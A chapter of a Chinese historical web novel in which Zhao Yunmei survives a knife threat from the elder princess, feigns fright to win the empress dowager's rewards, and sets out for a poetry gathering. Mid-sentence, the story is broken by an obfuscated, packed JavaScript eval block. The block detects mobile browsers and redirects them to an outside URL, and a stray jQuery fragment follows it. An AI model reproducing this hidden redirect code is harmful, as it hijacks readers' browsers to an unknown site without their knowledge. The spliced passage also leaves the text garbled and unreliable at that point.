赵云眉当即跪下磕头,口呼长公主安好。
长公主不说话,看着跪在脚下的少女,半晌才开口冷冷道:“刚刚不是叫太后祖母么,怎么现在不叫我姑母了?”
话语里嘲讽赵云眉攀附太后。
“回长公主,您是长辈尊位,小辈不敢造次。太后寝殿帐后召见,念祖孙之情,小辈一时感动,如有不妥,定当改之。”赵云眉平静回应。
这话不卑不亢,两方都不得罪,长公主也挑不出错。
长公主踱步坐到侧方椅子上,烛光将她的影子拉长,笼在赵云眉的身上。长公主疲乏道:“得了,好得很,不用改!你倒是会说话,能屈能伸,跪得也挺利索,倒是让我不忍心说你了!”
天大地大活着最大,赵云眉做事从来以结果为导向,至于当中曲折嘛,多折两下也没事。赵云眉头压得更低了,肩都快贴着地面了。
“人人都说他浪荡,说他荒唐至极,只有我知道,他不是那样的...他刚来时被人欺负,都是我护着他...每次来宫里他害怕,都是我陪着进出,那时他每天跟着我...”长公主语气幽怨,絮絮叨叨地念着,还没说完,突然叹了一口气,语气一转,冰冷起来,“赵云眉,你命真好!你说,凭什么你命这么好?”
接着,只听得一声刺耳的金属摩擦声,赵云眉听得出,是刀出鞘的声音!
赵云眉猛地抬头,看到长公主手里握着一把短刀,惨淡的烛光下,利刃寒光刺目。
这是要杀人?长公主厌恶自己到了这种地步?就因为自己命好?这叫什么命好?赵云眉差点没气笑了。
赵云眉没有逃,只全身绷紧,静观事变,准备在最后一刻反击。赵云眉知道,这是在皇宫,自己死了也就死了,会有新的安定公主,所以,绝不能死。
长公主走近,赵云眉赶紧叩头,顺手扯出袖中铜印,铜印滚到长公主脚边。
“这是什么?”长公主踢了一下问道。
“太后给的铜印,说以后有事可以直接找她...”赵云眉回道。
长公主弯腰捡起铜印,看了一会儿,眸光微微转柔,将刀放回鞘中,掷到赵云眉眼前:“太后送你铜印,那本公主也送你样东西!”
赵云眉心跳稍稍平复,知道长公主已收起杀心,当即叩拜,将刀捡起抱在怀中,生怕长公主反悔再抢过去。
“这刀以前可是杀过人,见过人血的!你的夫婿认得呢!”长公主留下一个冷哼离去。
赵云眉长舒一口气,探出身子,将地上的铜印摸过来,塞进衣袖。
旁边的小宫女扶起赵云眉,颤着嗓音道:“幸亏公主您的铜印掉出来了!长公主认出是太后的东西,才醒了酒!咦,这衣袖怎么破了?”
小宫女扯着赵云眉的衣袖。
刚刚一时没拽出铜印,赵云眉暗暗使了蛮劲,将袖口扯破了。
情急之下,赵云眉丢出铜印,是要提醒长公主,自己最后从太后那过来,如有闪失,太后会说不清的。但赵云眉不好直接喊叫出来,毕竟长公主的刀还没伤到自己,一旦自己惊慌喊出来,那就是指认长公主意欲杀人,就彻底撕破脸了,以后也没得混了。
好在事态在混沌之时刹住了。
赵云眉全身放松下来,等到小宫女一碰到自己,她眉头微微一皱,想起来什么,立马全身发抖起来,一脸惊恐,嘴上却说:“破了?快补起来!这可是太后赏的!不能破!对了,长公主送的刀也得供起来!”
之后,赵云眉爬上床,非要小宫女找来两三床被子,将自己捂得严严实实。
“公主,现在是夏天,不用裹着被子!”不管小宫女怎么劝,赵云眉都死死往被子里钻。
折腾到下半夜,赵云眉捂得一身汗和痱子也不肯拿走被子。小宫女怕赵云眉有个什么事自己不好交代,天快亮时去通报了太后身边掌事的嬷嬷。
天刚亮,赵云眉还没起床,太后就带着掌事嬷嬷赶了过来,看到赵云眉抖着身子强撑的样子,当即一番询问起来,小宫女说昨晚长公主来过。
“她来做什么?”太后疑惑。
小宫女还要回答时,赵云眉抢先道:“回太后,长公主来看望晚辈,还赠送了礼物。”言语间,全是对长公主的维护。
太后早已从掌事嬷嬷那知道长公主夜深送刀的事了,知道自己女儿没怀好心。看到赵云眉身子微颤吓到要死,却还在强装镇定,没有告长公主的状,太后叹了口气:“真是难为你了!”
太后离去,赵云眉也很快出了宫。回到别院,进了屋关上门,赵云眉身子也不抖了,拿出长公主给的刀,上下耍了两下。
一旁的赵玉眉一脸惊讶:“有人说你被吓到了!你真被吓到了?”
赵云眉狡黠一笑:“装的!”
姐妹俩正笑着时,外面有人通传,说太后赏东西了。
“又赏?”赵玉眉惊讶。
“多多益善!你快出去谢恩,就说我病了,迷迷糊糊躺着呢!”赵云眉说完就躺回了床上,拿被子盖上。
赵玉眉出去接待来人,忙完后,随赵母一起来看赵云眉。
得知外面人走了,赵云眉才一骨碌爬起来。赵母看出自己女儿在装病,责怪万一被人看穿就不好了,赵云眉沉声道:“娘,回头赐婚的旨意一下,我就要走了!现在太后对我还有怜爱之心,那就装可怜给她看,人老心软,让她多赏点东西给我们,以后我不在,你们日子也好过点!”
赵母问起昨晚的事:“外面说你昨晚在宫里被吓到了?真的吗?”
“可别这么说!真要有人问起,就说没有的事!”赵云眉将昨晚的事细细说了一遍。
赵母也听明白了:“你当时害怕也是装的,就是让太后以为,是长公主吓到你了,你到家才说病了,太后就会以为你顾全了长公主和太后的脸面,强撑着到家才倒下。毕竟到家了,出了宫,生病那也不一定跟宫里有关了。就算有关,只要你不承认,那就不算。太后也是因此又赏你了,对吗?云儿,你这是博取太后可怜啊!”
“不是可怜,是太后买我的配合...”
赵云眉想起喊她乖孙的太后。赵云眉明白,太后是一个母亲,再可怜她赵云眉,也不可能越过自己的孩子。太后对她的赏赐,是基于赵云眉对她女儿的维护,差点付出小命的维护。
太后是觉得她懂事,才赏的。
“云儿,你那是赌呀!那长公主真要向你捅刀子时,你打算就那么等着?万一她没认出铜印呢?今儿我不就见不到你了么!”赵母后怕不已,脸色都吓白了。
“怕什么!猪我都杀得动,还怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129534|196199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她?”赵云眉不屑。
赵母一把捂住自己女儿的嘴:“我的天!你还想杀人?那可是公主,不是任你宰杀的猪!”
“杀什么人啊!我知道那是长公主,杀了她,我们全家等着死吧!我有腿,她真过来我不会跑吗?”赵云眉甩开自己母亲的手掌,一仰头往后躺去。
“好在菩萨保佑,你算是好好的回来了!你最近就好好在家呆着吧!”赵母双手合十,念着佛号,眼角有泪下来。
赵云眉想起了什么,摇头道:“不,过几天朱雀门下有雅诗集会,听说会很热闹,我要去。”
“雅诗集会?会有很多贵公子去吧?那你去的话,把玉儿也带上吧!玉儿也不小了...”赵母拉过赵玉眉的手。
赵云眉看着母亲,明白母亲想为妹妹谋个婚事。前两年赵云眉花钱请过先生正儿八经地教过赵玉眉,所以,赵玉眉是有点才情的。赵母想借着赵云眉安定公主的名号,再加上赵玉眉自己的才貌,赶紧谋个好婆家。
赵云眉知道自己母亲的打算没错,但总觉得不妥。京中贵人多,可是,贵人心思深,不是常人能揣摩的。
赵云眉想起了雨夜送自己到青羊镇的那艘小船上的贵人,明明俊朗得让自己移不开眼,可一转头竟然鬼魅妖娆得让自己恶心。
想到那人,赵云眉失神一笑,摇头叹息。又想到数日后的集会,谋不谋婚事先不管,这个集会本就值得一去,赵云眉答应了。
数日后,赵云眉带上赵玉眉和两名侍女,简装出行,直奔朱雀门下。
赵云眉身上还带了一样东西,长公主送给她的,那把杀过人,见过人血的刀。
只要是热闹的地方,就会有浪荡公子,北周质子更是不能少了。长公主心里有那人,为了那人都差点杀了自己,那刀是长公主的贴身之物,自己留着,不如让这把刀去见那人,也算如了长公主的愿。
反正自己迟早也是要见到那人的,见面三分情,迟见不如早见,赵云眉自嘲一笑。
路上,赵玉眉问姐姐:“姐,娘说,我要是能留在这京中做贵妇,后半辈子就享福了。”
赵云眉拉过对方的手,意味深长道:“娘她不知道,这皇城...会吃人的啊...”
赵玉眉疑惑道:“吃人?吃谁?”
“昨晚,我就差点死在宫里,我要是死了,你们能有什么办法吗?”
赵玉眉愕然。
赵云眉无奈一笑,这时外面传来喝彩叫好声,她撩开帘子,向外看去。
正值上午时分,朱雀门下两边各搭了一座简易高台,台上各坐一人,面前的桌上摆了文房四宝。夏日炎热,两人一手挥墨,一手挥汗。
台下周围搭满凉棚,棚中坐满穿着华贵的少年,又有不少仆从站着伺候着,打扇的,倒茶递水果的,很是热闹。
再远一点的凉棚里有贵女们聚坐一起。赵云眉没有下车,只掀开帘子往外看着。
“姐姐,我们不下去?”赵玉眉问道。
“下去干什么?外面热死了,就在车里坐着。”车里有冰盆,太后昨天刚赏的。
赵云眉只答应母亲带妹妹来看看,但没说让妹妹参加这个诗会。坐在车驾里掀开帘子看也是看。
赵玉眉沉默片刻,便欣然接受了,她向来听姐姐的话。